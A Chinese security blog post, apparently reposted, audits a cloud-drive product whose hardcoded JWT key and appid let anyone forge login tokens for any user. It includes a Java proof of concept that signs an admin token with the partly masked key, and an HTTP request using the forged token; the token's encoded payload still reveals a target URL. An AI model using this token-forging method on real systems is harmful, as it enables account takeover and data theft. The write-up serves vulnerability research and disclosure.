【代码审计】某网盘硬编码导致任意用户登录

admin 2026-02-04 17:42:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文审计某网盘发现硬编码JWT密钥导致任意用户登录漏洞。系统使用固定appid和密钥,攻击者可利用该密钥伪造任意用户Token。文章展示了利用Java代码生成admin身份Token并发送请求,成功获取用户数据。建议开发避免硬编码敏感信息,采用动态配置管理。 综合评分: 85 文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC


cover_image

【代码审计】某网盘硬编码导致任意用户登录

原创

Hyyrent Hyyrent

0xSecurity

2026年2月4日 11:26 广东

由于系统初始化的⼯程中,定义了默认值的appidjwttoken加密密钥。 box-servicecenterC8E6460D2816xxxxxxx2E170B57E9F 导致攻击者可以利⽤此密钥⽣成对应⽤户的jwtToken

pom.xml

<?xmlversion="1.0"encoding="UTF-8"?>
<projectxmlns="http://maven.apache.org/POM/4.0.0"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
&nbsp; &nbsp;&nbsp;<modelVersion>4.0.0</modelVersion>

&nbsp; &nbsp;&nbsp;<groupId>org.example</groupId>
&nbsp; &nbsp;&nbsp;<artifactId>javarce</artifactId>
&nbsp; &nbsp;&nbsp;<version>1.0-SNAPSHOT</version>

&nbsp; &nbsp;&nbsp;<properties>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<maven.compiler.source>8</maven.compiler.source>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<maven.compiler.target>8</maven.compiler.target>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
&nbsp; &nbsp;&nbsp;</properties>

&nbsp; &nbsp;&nbsp;<dependencies>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!--JWTDependencies-->
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>io.jsonwebtoken</groupId>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>jjwt-api</artifactId>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>0.11.2</version>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>io.jsonwebtoken</groupId>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>jjwt-impl</artifactId>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>0.11.2</version>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<scope>runtime</scope>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>io.jsonwebtoken</groupId>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>jjwt-jackson</artifactId>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>0.11.2</version>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<scope>runtime</scope>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!--Addmoredependencieshereifneeded-->
&nbsp; &nbsp;&nbsp;</dependencies>
</project>

main.java

packageorg.example;

importio.jsonwebtoken.Jwts;
importio.jsonwebtoken.SignatureAlgorithm;
importio.jsonwebtoken.security.Keys;
importjavax.crypto.SecretKey;
importjava.util.Date;

publicclassMain&nbsp;{

&nbsp; &nbsp;&nbsp;/**
&nbsp; &nbsp; &nbsp;* 生成 JWT Token 的方法
&nbsp; &nbsp; &nbsp;*
&nbsp; &nbsp; &nbsp;* @param issuer &nbsp;签发者
&nbsp; &nbsp; &nbsp;* @param subject 主题
&nbsp; &nbsp; &nbsp;* @param url &nbsp; &nbsp; URL
&nbsp; &nbsp; &nbsp;* @param secret &nbsp;密钥
&nbsp; &nbsp; &nbsp;* @return JWT Token
&nbsp; &nbsp; &nbsp;*/
&nbsp; &nbsp;&nbsp;publicstaticStringcreateJWTToken(Stringissuer,&nbsp;Stringsubject,&nbsp;Stringurl,&nbsp;Stringsecret) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 设置过期时间为1小时
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;longexpirationTime=3600000;&nbsp;// 1 hour in milliseconds

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 设置签发时间为当前时间
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Datenow=newDate();

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 生成 SecretKey
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;SecretKeykey=Keys.hmacShaKeyFor(secret.getBytes());

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 构建 JWT Token
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnJwts.builder()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setIssuer(issuer)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setSubject(subject)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .claim("url",&nbsp;url)&nbsp;// 设置URL声明
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setIssuedAt(now)&nbsp;// 设置签发时间
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setExpiration(newDate(now.getTime()&nbsp;+expirationTime))&nbsp;// 设置过期时间
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .signWith(key,&nbsp;SignatureAlgorithm.HS256)&nbsp;// 使用HS256算法签名
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .compact();
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;publicstaticvoidmain(String[]&nbsp;args) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 示例 JWT Token 和超时时间
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringtoken=createJWTToken("box-servicecenter",&nbsp;"admin",&nbsp;"https://xxxxx/v2/user/messsss",&nbsp;"C8E6460D2816xxxxxxx2E170B57E9F");

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 打印生成的 Token
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;System.out.println("Generated JWT Token: "+token);

&nbsp; &nbsp; }

}

使⽤该代码⽣成jwtTokensubject为⽤户名,这⾥为adminurl为访问地址

生成的JWT token发送数据包

GET /v2/user/messsss HTTP/1.1
Host: xxxx
Cookie: language=zh; JBOXSESSIONID=47169DCDBC8D6F5B638A651E8CCBF7B4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Authorization: LenovoToken eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJib3gtc2VydmljZWNlbnRlciIsInN1YiI6ImFkbWluIiwidXJsIjoiaHR0cHM6Ly9pYm94LmVic2NuLmNvbS92Mi91c2VyL21lc3Nzc3MiLCJpYXQiOjE3MTgwNjk4NjQsImV4cCI6MTcxODA3MzQ2NH0.-y5_f9xAPjuNwADDQasizmhCiW8D4f1pewXlyv1Fi6Q
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1
Te: trailers
Connection: close

获取token

成功获取用户信息数据


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:0xSecurity Hyyrent Hyyrent《【代码审计】某网盘硬编码导致任意用户登录》

评论:0   参与:  0